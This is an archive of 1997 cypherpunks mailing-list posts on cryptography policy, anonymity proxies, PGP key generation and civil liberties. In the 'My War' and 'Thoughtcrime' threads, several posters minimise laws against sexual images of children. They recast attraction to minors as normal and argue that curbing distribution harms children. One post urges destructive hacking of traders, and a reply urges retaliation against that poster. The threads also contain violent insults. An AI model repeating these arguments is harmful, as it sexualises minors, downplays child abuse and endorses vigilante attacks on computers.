From: Alan <alano@teleport.com>
Date: Tue, 10 Jun 1997 04:49:53 +0800
To: cypherpunks@Algebra.COM
Subject: WSJ on Money Laundering
Message-ID: <Pine.GSO.3.96.970609133806.19311E-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



Check out the latest (June 9th, 1997) Wall Street Journal.  On page B1
there is an article on the wave of money laundering convictions for
non-drug related crimes.  In fact, the article points out that just about
any monetary transaction can be declared money laundering.  (And get
upheld in court!)

And the reasons behind this?  Long terms and lots of ready cash for the
feds.

"Property Seizure: It's not just for drug crimes anymore!"

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Tue, 10 Jun 1997 05:27:28 +0800
To: nobody@huge.cajones.com
Subject: Re: With friends like these...
In-Reply-To: <199706091928.MAA01854@fat.doobie.com>
Message-ID: <199706092106.OAA18846@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Huge Cajones Remailer writes:
> 
> 
> I just read www.crypto.com/key_study.  I was not impressed.  In fact,
> one thing worries me a lot.  I think the report basicly sells us out.

[shitload of FUD deleted]

Is there something important coming up that we should know about?
Something big enough to make the FUD-mongers want to distract us?


The main lie in this message was that the report endorses safe/pro-code.
It does not.  It doesn't even mention them.


-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 10 Jun 1997 05:25:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: My War
In-Reply-To: <339C4E1F.11DF@popmail.firn.edu>
Message-ID: <199706092117.OAA29644@netcom17.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



A Hysterical Person writes:

> Sounds like someone's afraid that se7en might trash his kiddie porn
> stock.

As with all hysterical people, the first words out of his mouth are a
pathetic attempt to suggest that anyone who doesn't agree with his
position is a consumer of whatever it is he disapproves of. 

> How on the HELL do you categorize child pornography as "Freedom
> of speech"?  How??? 

While I certainly think that society has every right to enforce reasonable
workplace health and safety standards within the commercial porn industry,
including setting reasonable age limits for employment therein, the
current ban on any and all depictions of the sexuality of minors, even
synthetic ones, is clearly an ideological purge of speech certain people
are uncomfortable with, and not some glowing crusade to protect children
from harm. 

> It is disgusting and only extremely sick individuals take a part in 
> it.

You're right.  Arrest Janet Reno immediately, and confiscate all motion
picture footage of the Waco child torchings. 

> If you're defending it, then excuse me for rushing to judge, but you are a
> sick, disgusting ass-fuck that needs a good shot in the head. 

Sounds like someones socioerotic rehearsal play was severely limited
during their formative years.  Guaranteed every time to produce a cranky
neurotic who displaces sexual arousal into anger when confronted with
erotic imagery involving the young and emotionally healthy. 

Please post again when you have something to say about cryptography, and
try to stay away from the kiddie pool.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Mon, 9 Jun 1997 22:50:58 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Fraud and free speech
In-Reply-To: <v03102802afc0e602d172@[207.167.93.63]>
Message-ID: <339c0f30.65344598@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 8 Jun 1997 15:48:58 -0700, you wrote:

>At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>In <Pine.GSO.3.95.970608053415.20770A-100000@well.com>, on 06/08/97
>>   at 07:36 AM, Declan McCullagh <declan@well.com> said:
>>
>>>I don't think commercial speech should be treated as second-class speech.
>>>But my position is hardly surprising.
>>
>>Well I think that there are some that would confuse the issue between 1st
>>Amendment free speech and the issues surrounding fraud. Especially those
>>in government who write the laws that regulate commercial speech.
>
>The mistake has been to extend "fraud" laws to non-contract situations,
>e.g., ordinary speech (as distinguished from contracts).

  This is very true. We now live in a society that expects to be
'protected' from everything, including their own ignorance, by Big
Brother. Free Speech is just that -- free -- and should be accepted as
such. We have various private organizations that have made it their
business to oversee the truthfulness of product advertising and
quality and this is how it should be.

  I believe that we have actually given up some of our free speech
rights in order to be protected against the 'big bad companies looking
to rip you off'. This has resulted in the government making a grab for
more and more of our rights, the building of a buearucratic
infrastructure to support this grab, and a seperate society back there
in Wasington DC.

  Brian

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM5wRWKQxGtxXsXypAQG9DAP/dKydBwBI9JZ40nuJv0hDsWlytQRwSUPq
9tgxjTr7QC+qRJ4mYzikIvcdWKISk203sD4BsXbC83fW9p8zQuaN9RagMTUBKfOw
yM0Pc6lyfv/G6IYqxt71vWnzHBHCrcGamFQQXASd1QzKSvUUHH/ealuBCuPVZYm3
GWH1YrtzMiI=
=Ht6r
-----END PGP SIGNATURE-----

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 10 Jun 1997 03:54:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Question about anonymizing proxies
In-Reply-To: <199706091758.KAA31403@fat.doobie.com>
Message-ID: <Pine.LNX.3.96.970609144908.769A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 9 Jun 1997, Huge Cajones Remailer wrote:

> Sorry if this has been beaten to death before (if it has, a pointer to
> where it is in the archives would be appreciated), but is it possible to
> chain anonymizing proxy servers in a way similar to remailers?

It is possible, but more difficult.  A system that just chains and encrypts
through several different proxies keeps the traffic secret, but reveals
the source and destination of every connection using traffic analysis.  The
NRL Onion Router scheme had this problem, I think.  The way to avoid this
is to maintain constant connections between proxies and endpoints.




Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM5xRdyzIPc7jvyFpAQERDQf/RLDiYPeQ+P/x0CKcRUvuQUxOO87nx8VL
+2YVOcgoF9uQ/UCL01NmrIAwnplW083HJN1s0TtlNxuKBx+I65Sk5dkoiBUyJDex
D+RsiqYIY3YiNa6zFs03oE9aAmv2lPXPW/zrLgX+CYZOei9XPB9LgBUm4ryzEbdF
H6ZtUSBtBvT8ZCTV25JUFy1mM8sfblqpvg7T9rYkC3OMdpelziqSwcGC86WOTyQ7
PujA4C36B1RuQ1Jd8FH2cfIStLHzyvN81MY12P+8oF1YsEpow6R286S6haGiT8z+
gZFC1tgykYn9D6Xr0BKzp5uHA+IVpvjv3ZxN8gJxDeUyYf2555KpCw==
=Jfpo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 10 Jun 1997 06:09:21 +0800
To: cypherpunks@cyberpass.net
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: <339C4E1F.11DF@popmail.firn.edu>
Message-ID: <v0310280aafc22b34389e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:17 PM -0700 6/9/97, Mike Duvos wrote:

>While I certainly think that society has every right to enforce reasonable
>workplace health and safety standards within the commercial porn industry,
>including setting reasonable age limits for employment therein, the
>current ban on any and all depictions of the sexuality of minors, even
>synthetic ones, is clearly an ideological purge of speech certain people
>are uncomfortable with, and not some glowing crusade to protect children
>from harm.

Precisely. The laws are designed to go after the thoughts. Synthetic
images, images of little girls in leotards. images of teenagers of legal
age *in the countries of origin*...none of these involve acts of sexual
congress with a child in violation of the laws of the U.S. The only crime
is thoughtcrime.

Thoughtcrime.

As for whether it is "sick" to be sexually attracted to an "underage"
person, I sure do recall being attracted to a lot of the girls in high
school, and they were certainly nearly all "underaged."

(I won't delve into this further, and won't get into issues of what the
ages should be. In earlier cultures, girls were married off by the age of
12-14, and boys by the age of 14-16, for various good reasons.)

This "se7en" person should understand that a strong crypto list is probably
the wrong place to find converts for a crusade against thoughtcrimes. For
one thing, what does he think remailers are useful for? Or anonymity? Or
digital cash? Or that evil technology, "morphing."

(A popular project is to use Photoshop and similar tools to juxtapose the
faces and bodies of various celebrities and nude bodies. "Sabrina the
Teenage Witch Meets Tiffany Towers." This act is apparently now a Class A
Thoughtcrime in several U.S. jurisdictions. Amazing.)

Oh, and "se7en" should go back with his newly discovered religious fervor
and watch the movie "Se7en," from whence he got his handle. It has been
declared "violence porn" by some of his ideological fellow-travellers.

Ironic indeed.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 10 Jun 1997 00:14:21 +0800
To: se7en <se7en@dis.org>
Subject: Re: My War
In-Reply-To: <Pine.BSI.3.91.970608231331.29324F-100000@kizmiaz.dis.org>
Message-ID: <Pine.LNX.3.91.970609152448.2461B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> I started logging the channels. I wanted to silently gather IP addresses 
> and email addresses. These people needed some genuine hacker terror. 
> Among some of the more active and persistent traders were:

se7en believes in attacking other peoples equipment and censoring those 
who say things he does not like. Foo.

> Well, this whole situation is unacceptable. 

In what sense?

> First, I would like to apologize to all those who have hired me in 
> the past, and were subject to my emotional rants about how the 
> whole subject was bullshit and not real. 

Is this really relevant?

> It is very real. It is disgustingly real. It is so real it will make you 
> want to throw up, and I actually, physically did throw up last night.

Good, I hope your censorous ass chokes next time.

> Second, in reference to previous conversation over the years on this list, 
> and in the hacking community in general, I know this type of activity is 
> not tolerated by us. 

Do not include me in either the falsely moral "hacker community", which 
does not even exist anymore in the same way it did years ago, or make 
assumptions that I believe certain forms of speech are more valuable than 
others.

> Yes, I am advocating malicious, destructive hacking activity against 
> these people. Who are they going to run to? The police? "They hacked my 
> kiddie porn server and rm -rf'd my computer!" Right...the police will be 
> so anxious to lock us up left and right.

Anyone who attacks others peoples computer equipment in this manner 
commits a crime, whether they can respond or not is immaterial, it is a 
matter of morality and respecting other peoples right to free spech and 
their property rights.

> These people need to be eradicated from the Internet. While that may 
> never happen completely, enough harrassment will send a message that 
> engaging in this type of activity in very dangerous, and can result in 
> serious harrassment, public embarrassment and computer destruction.

An aspiring member of the cabal crawls out of the woodwork <sigh>...

> This is my war. It will be a public war. I don't care what happens to me 
> by their community or by law enforcement. I feel secure enough that no 
> jury in the world will convict me for taking these people out. 

"Members of the jury, we only killed him because he was black, surely you 
realise all blacks are scum, don`t you?"

> I don't expect people to join me here on this. If you do, you have enough 
> information to start. I caution you to log what is going on, and to make 
> sure you are hitting the guilty, so no innocent people get annihilated in 
> the process. Make damn sure you know who you are hitting and why, and be 
> able to back it up with the idea of having to justify your actions in 
> front of a jury.

I would encourage anyone who wants to to take retaliatory action against 
se7en or any of his supporters to do so, attacks on freedom of speech and 
attempts at censorship like this cannot be allowed to go unchallenged.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Tue, 10 Jun 1997 03:49:08 +0800
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Quadratic residues
Message-ID: <19370327300899@nac.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Mon Jun 09 15:38:35 1997

> On Mon, 9 Jun 1997, Anonymous wrote:
> 
> I think Vulis needs each of us to send ten copies of this back to him.
> 
[...]
I think I'm sending *you* ten copies of this.


                   -=Start Signature=-
Goth.Code 3.1 GoCS5$ TAnFe P! B7/17Bk#1 cBk(Lb)-s6 V6s M3p1wgD
ZGoPuoMehFon!! C9oc A20+(24) n5 b54 H185 g6!??94A m@Z4? w6T v1h
r7EISP p1Z565Hm D26 h5(R) sM10M SsYw k6B N1286JONEH RzM LusNY3
          -=http://www.nac.net/~users/spectre=-
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM5xbwqAC4xvMjGa1AQGGrwf/RFxPyCB1MGB+QLUi2cRxZW52X9MBcVr2
dlZd6BZxvbDy5uo8FCbQly4vLG35N/P08SeeCrtnuXjPc9rb/RF38O/rtwSRqFDy
sbgtrrFaTwOyOruOAGbuXllHCStYYC0GHYESAoJOXi8vxdMHk0kxZXuWgnAO2uwh
c2ON2Jv1f9YmybGrClZ0CaFybWKOG6r3m31QLOJUZqOWZbErRTYOlDM7//09x/ZZ
ZA6XCUgLDPPNfm6PSaJmqBeEkgqQC3I0q6uslYi+43u14mXTCa/ddxUG0crMAUb2
F6MyRlD2FjaalVcH69me9VIfJPybbW/o3MbJ7RkNDVAvCNfCg0wenw==
=M57W
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C.Laffra" <laffra@watson.ibm.com>
Date: Tue, 10 Jun 1997 03:52:23 +0800
Subject: No Subject
Message-ID: <9706091939.AA17006@gumby.watson.ibm.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

My records indicate that we exchanged email in the last three years.
I sincerely apologize if this email is mis-directed.

This is to inform you of my new address:

	Chris Laffra, Ph.D.
	Research Staff Member
	Java Tools Group
	Computer Science Department
	Research Division

	IBM T.J. Watson Research Center
	P.O. Box 704
	Yorktown Heights, NY 10598
	Tel: (914) 784 7525
	Fax: (914) 784 6576
	email: laffra@watson.ibm.com
	web: www.research.ibm.com/people/l/laffra (soon to be actived)

	email: laffra@aol.com
	web: members.aol.com/laffra

Chris.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 10 Jun 1997 05:41:10 +0800
To: Alan <alano@teleport.com>
Subject: Re: Assassination Politics as revenge fantasy (Re: FCPUNX:McVeigh)
In-Reply-To: <Pine.GSO.3.95.970609112236.19258B-100000@cp.pathfinder.com>
Message-ID: <v03007803afc21fae9271@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 09:36 -0700 6/9/97, Alan wrote:
>On Mon, 9 Jun 1997, Declan McCullagh wrote:
>
>>
>> Actually, Bell's plan was simply the ultimate adolescent revenge fantasy.
>> Government thugs got your goat (or your computers, your car, your guns?)
>> Wipe them out. Supermarket clerk taking too long? Rub her out. Minivan cut
>> you off on the way to work? Kill them off.
>
>This is the best description of AP so far.  Jim had about as much chance
>of implementing it as most adolescent fantasies.  (At least he was not
>posting about porn fantasies involving the Brady Bunch meets Gilligan's
>Island or somesuch...)

This is a draft of what I wrote in my Internet Underground article:

	If nothing else, Bell's plan was inventive: few
	people like the IRS, but even fewer have ever
	concocted a way to eliminate it. In fact, Bell
	had devised the ultimate revenge fantasy. Upset
	at demanding creditors, former lovers, or
	jackbooted thugs? The 38-year old computer
	engineer described how you could find someone
	willing to kill them -- for the right price.
	It was sexy, too. Bell's plan relied on the
	Internet, anonymous remailers, untraceable
	digital cash, and unbreakable public-key
	encryption. He even gave it a catchy name:
	Assassination Politics.

[...]

	Bell was most interested in talking up
	Assassination Politics and predicting how it
	would eventually blossom. He had just published
	an op-ed in a local newspaper saying "the whole
	corrupt system" could be stopped. "Whatever
	my idea is, it's not silly. There are a lot
	of adjectives you can use, but not silly," he
	told me. "I feel that the mere fact of having
	such a debate will cause people to realize that
	they no longer have to tolerate the governments
	they previously had to tolerate. At that point
	I think politicians will slink away like they
	did in eastern Europe in 1989. They'll have
	lost the war."

	He told me why he became convinced that the
	government needed to be lopped off at the
	knees. Bell's epiphany came after he ordered
	a chemical from a supply firm and was arrested
	when he failed to follow EPA regulations. "That
	radicalized me," he said. "That pissed me off.
	I figured I'd get back at them by taking down
	their entire system. That's how I'd do it."'

	Moral issues aside, one of the problems plaguing
	Bell's scheme is that it's not limited to
	eliminating "government thugs who violate your
	rights," as he likes to describe it. If it
	existed, anyone with some spare change could
	wipe out a nosy neighbor or even an irritating
	grocery store clerk. After I pointed this out
	to Bell on the phone, he fired email back a few
	days later saying, "Assuming a functioning
	Assassination Politics system, nothing stops
	you from contributing to my death." He
	suggested that maybe assassins would develop
	scruples: "You'd be able to purchase deaths
	of unworthy people, but it might be only at a
	dramatically higher price. Doable but not
	particularly economical."

-Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Tue, 10 Jun 1997 05:24:01 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <3.0.1.32.19970609000938.00756910@popd.ix.netcom.com>
Message-ID: <97Jun9.171030edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, Bill Stewart wrote:

> Having argued that point vociferously in the past, I'm now going to
> waffle on the issue - while the business need is for access to
> stored data, this may often include stored messages received from
> a communication system in encrypted form.  Either the User Interface
> needs to make it convenient to store the decrypted message,
> or else the user will store the message in encrypted form -
> which means there may be a business need for Proper Authority Access later.

Move all accounts that use corporate secured email to a secure local
server (e.g. per office), and do something like a procmail recipe that
will decrypt automatically and forward the plaintext to the recipient
(archiving as per policy).  If the messages need security, then they don't
leave the secured server and the accounts are such that I can't read other
people's mail directory and others can read mine.  All the keys are
generated and maintained on this server so passwords are controlled by
the administrator.

Or just have them use the encryption within the corporate standard word
processor, and spend the $100 or so for the 5-second cracking program.

You can automate security to prevent user's not following procedure
(saving encrypted files).  You can't do much about malice or creativity
(e.g. my PGP on my laptop). 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 10 Jun 1997 06:38:39 +0800
To: cypherpunks@toad.com
Subject: Doc Offerings
Message-ID: <1.5.4.32.19970609222325.0090c7c4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We offer:

A Federal Register notice today of an upcoming
Technology Administration "Public Forum on Certificate 
Authorities and Digital Signatures":

   http://jya.com/ta060997.txt

The recent Denver ruling of $350K damages against the IRS
for disclosing confidential tax payer information:

   http://jya.com/wardvusa.htm  (48K)

NIST's latest package on the Key Recovery Demonstration
Plan of a test run among 10 federal agencies, including a 
May 29 solicitation:

   http://jya.com/krdp.htm  (37K)

And, the quite instructive 1994 Department of Justice 
"Federal Guidelines for Searching and Seizing Computers":

   http://jya.com/doj-search.htm  (376K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 10 Jun 1997 06:46:18 +0800
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: With friends like these...
In-Reply-To: <199706091928.MAA01854@fat.doobie.com>
Message-ID: <199706092231.SAA29002@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Yes, these are our freinds.  They are attacking key recovery where its
being sold; namely to companies.  And the report is damned effective
at selling companies that 'the best cryptographers in the world'
oppose this.

Its been very useful to me for that already.

Adam

| just a bad idea, not nearly as strong as it could be).  The reason they give
| is that they think it may be too expensive for corporate America.
| What they don't say is Far more interesting:
| 
| They don't say that key escrow is unacceptable, period.
| 
| They don't mention the big brother problem.
| 
| They don't talk about the long history of
| government abuse (FBI, CIA, NSA, etc).
| 
| The conveniently leave out ALL the libertarian issues about how key escrow making the government bigger and more powerful.
| 
| They just seem to care about what it costs.  And
| these are our friends?


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 10 Jun 1997 10:50:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <199706092117.OAA29644@netcom17.netcom.com>
Message-ID: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:02 PM 6/9/97 -0700, Tim May wrote:
>Precisely. The laws are designed to go after the thoughts. Synthetic
>images, images of little girls in leotards. images of teenagers of legal
>age *in the countries of origin*...none of these involve acts of sexual
>congress with a child in violation of the laws of the U.S. The only crime
>is thoughtcrime.

Lately, I have been thinking much about an old saying: "Everything is the
other way around."

My current interpretation of this rather Zen expression is that what we
know to "obviously" to be the cause is often the effect and the other way
arround.

Let us assume that it is unethical to force children to participate  in the
production of child pornography. (For the benefit of Kent and the more
ignorant people on this list, I will state that I firmly believe this to be
true, despite the fact that doing so should be irrelevant for the argument.)

Furthermore, let us assume that there are a number of individuals who enjoy
looking at hard core child pornography.

The question then is: does going after the distributors provide a benefit
to the children being (potentially) used for such pictures?

The answer is clearly no. By limiting the distribution of an individual
picture, you increase the total number of pictures required to satisfy
market demand. That means more children will be required to meet demand.

Thus, by going after the distributors, Se7en causes more children to be
violated by child pornographers.

The only question that remains is: how can he live with this?

Logic != base emotions,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@Algebra.COM>
Date: Tue, 10 Jun 1997 07:50:27 +0800
To: cypherpunks@Algebra.COM
Subject: MS Access 97 deprotection? (fwd)
Message-ID: <199706092343.SAA01302@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from Peter Trei -----

>From owner-cypherpunks@Algebra.COM  Mon Jun  9 18:22:12 1997
Message-Id: <199706091524.LAA01532@www.video-collage.com>
Comments: Authenticated sender is <trei@popserver>
From: "Peter Trei" <trei@process.com>
Organization: Process Software
To: cypherpunks@Algebra.COM
Date: Mon, 9 Jun 1997 11:36:50 -6
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: MS Access 97 deprotection?
Reply-to: trei@process.com
CC: trei@process.com
X-mailer: Pegasus Mail for Win32 (v2.42)
Sender: owner-cypherpunks@algebra.com
Precedence: bulk
X-Mailing-List: cypherpunks@algebra.com
X-List-Admin: ichudov@algebra.com
X-Loop: cypherpunks@algebra.com


     An acquaintence of mine who runs a small consulting 
business here in Massachusetts called last night.

     He seems to be suffering from one of the classic 
aftereffects of a having 'disgruntled, 
about-to-be-ex-employee'; one of the database files on 
which his business relies has been encrypted within 
Microsoft Access 97, and he needs to recover the data.

A quick look around at the obvious sites shows no generic
de-protector, as there are for MS Word and many other systems.
Anyone have any clue how he might get his data back? (I've
already told him to consider the lawyer-based route).

Send me mail - I'll pass it on to him.

thanks,

Peter Trei
trei@process.com

----- End of forwarded message from Peter Trei -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@Algebra.COM>
Date: Tue, 10 Jun 1997 07:51:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Steak Knife Decryption (fwd)
Message-ID: <199706092344.SAA01316@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from Peter Trei -----

>From trei@process.com  Mon Jun  9 18:21:21 1997
Message-Id: <199706091411.KAA26392@www.video-collage.com>
Comments: Authenticated sender is <trei@popserver>
From: "Peter Trei" <trei@process.com>
Organization: Process Software
To: ichudov@algebra.com (Igor Chudov @ home), cypherpunks@cyberpass.net,
        mpd@netcom.com
Date: Mon, 9 Jun 1997 10:20:41 -6
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re: Steak Knife Decryption
Reply-to: trei@process.com
Priority: normal
X-mailer: Pegasus Mail for Win32 (v2.42)

> Subject:       Re: Steak Knife Decryption
> To:            mpd@netcom.com (Mike Duvos)
> Date:          Sat, 7 Jun 1997 00:44:15 -0500 (CDT)
> Cc:            cypherpunks@cyberpass.net
> From:          ichudov@algebra.com (Igor Chudov @ home)
> Organization:  Bool Sheet Software
> Reply-to:      ichudov@algebra.com (Igor Chudov @ home)

> Mike Duvos wrote:
> > 

> I am not quite clear if rational people can get something out of
> torturing other rational people. Maybe, I am confused and wrong
> somewhere.
> 	- Igor.

Torture is a means of producing an irrational state in people's
minds (at least temporarily), thus causing them to do things they
would not rationally do (sign a prepared confession, reveal a secret, 
etc) If torture could not do this, it would not be used; verbal
persuasion over tea and crumpets is *so* much more pleasant.

Even people who might be able to face a more or less painless 
death with equanimity (in the pursuit of some greater cause) 
may break down as the bamboo splints are pushed under their 
fingernails.

'Rational torture victim' is an oxymoron.

Peter Trei
trei@process.com

----- End of forwarded message from Peter Trei -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 10 Jun 1997 08:04:13 +0800
To: cypherpunks@toad.com
Subject: Thoughtcrime (Re: My War)
Message-ID: <v03007804afc24574f7af@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Here are some of my responses on another list... --Declan

**********

Date: Mon, 9 Jun 1997 17:46:47 -0400
To: "Vangelis" <vangelis@qnis.net>
From: Declan McCullagh <declan@pathfinder.com>
Subject: How "child porn" laws ban pix of girls in leotards

At 11:54 -0700 6/9/97, Vangelis wrote:
>None of this out-of-control angry mob shit, alright?  THINK.  If it's too
>hard a task to go after ONLY those genuinely responsible and you'd rather
>go after their friends, family, co-workers, customers, or anyone else
>you've rationalized as somehow indirectly encouraging the activity w/o
>actually participating, then you've got no business playing vigilante -
>you've become just another wreckless crusader *blinded* by his own
>self-righteous outrage.  Christianity, the Nazi Party, and Prohibition, and
>McCarthyism (just to name a few) have already given us enough of those.

This is well said. Read that paragraph again.

The true enemy here is *NOT* the pervs trading child porn. It's the
censorhappy wackos who want to censor others.

The main reason folks seem to be in a lather about the "threat" of child
porn is that it might ruin the Net for everyone. That is, it gives Congress
an excuse to censor it and bring it under ever-tightening controls.

But isn't it clear that the true enemy is the censor? Stamp out child porn
and then Congress will use Nazi sites, or regular porn sites, or sites that
collect personal information as an excuse and justification for censorship.
That's why you should attack the censors (and the real child molestors),
not those trading dirty JPEGs.

Also, I see a lot of uninformed rants on this list about "we must uphold
child porn laws." Few people seem to realize that the long-standing Federal
child porn law outlawed *pictures of dancing girls wearing leotards*. I'm
not making this up. No nudity. No breasts. Certainly no genitals. But the
Supreme Court upheld the conviction in the Knox case. Now the law is even
worse, since it criminalizes morphed images that *look* like kids in
leotards, even if the models were 25-year old adults.

Be cautious when praising such laws.

-Declan

**********

Date: Mon, 9 Jun 1997 17:10:42 -0400
To: Tepes <tepes@reincarnate.com>
From: Declan McCullagh <declan@pathfinder.com>
Subject: Re: My War

At 06:59 -0400 6/9/97, Tepes wrote:

>Yeah, a friend of mine accidentally came across kiddie-porn a few months
>ago.  She e-mailed all the headers, etc. to Customs' Child Porn dept. and
>they e-mailed her back saying that they really can't do anything about it.
>What the hell do they have a Child Porn task force if they can't do
>anything about it!

Perhaps because Customs has nothing to do with enforcement of domestic
laws? I hope you're not proposing expanding the police powers of the Feds.
I mean, your friend is doing the equivalent of asking the National Park
Service why she isn't getting her welfare checks on time.

>What is also equally sick is rape porn.

Excuse me, but what is "rape porn?" What, a picture of two people having
sex that's titled "rape?"

Not quite. Just like those pictures of a 40 year old guy and a 20 year old
girl having "incest sex," it's a fantasy. Free speech. Don't sweat it. Let
others enjoy their fantasies.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 10 Jun 1997 08:09:40 +0800
To: "Mark M." <markm@voicenet.com>
Subject: Re: PGP Key generation
In-Reply-To: <Pine.LNX.3.96.970608211659.3887A-100000@purple.voicenet.com>
Message-ID: <Pine.LNX.3.91.970609194807.2934A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> There are a few shortcuts you could take.  For instance, instead of finding
> two random, prime numbers for every key, just keep one prime constant and
> generate another random prime for each key.  This has the disadvantage
> that any one key factored would allow the other keys to be factored
> trivially.  I know there are other ways, but I'm not very good with number
> theory.

This would actually not save as much time as it trivially appears to, the 
main time eater in pgp key generation is a. getting random seeds and 
mixing to distill randomness, and b. executing the extended euclidean 
algorithm to find modular inverses. 

Does anyone know any other speedups? - I`m sure I could think of a few 
but I`m really not in the mood ;-)...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 10 Jun 1997 11:34:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
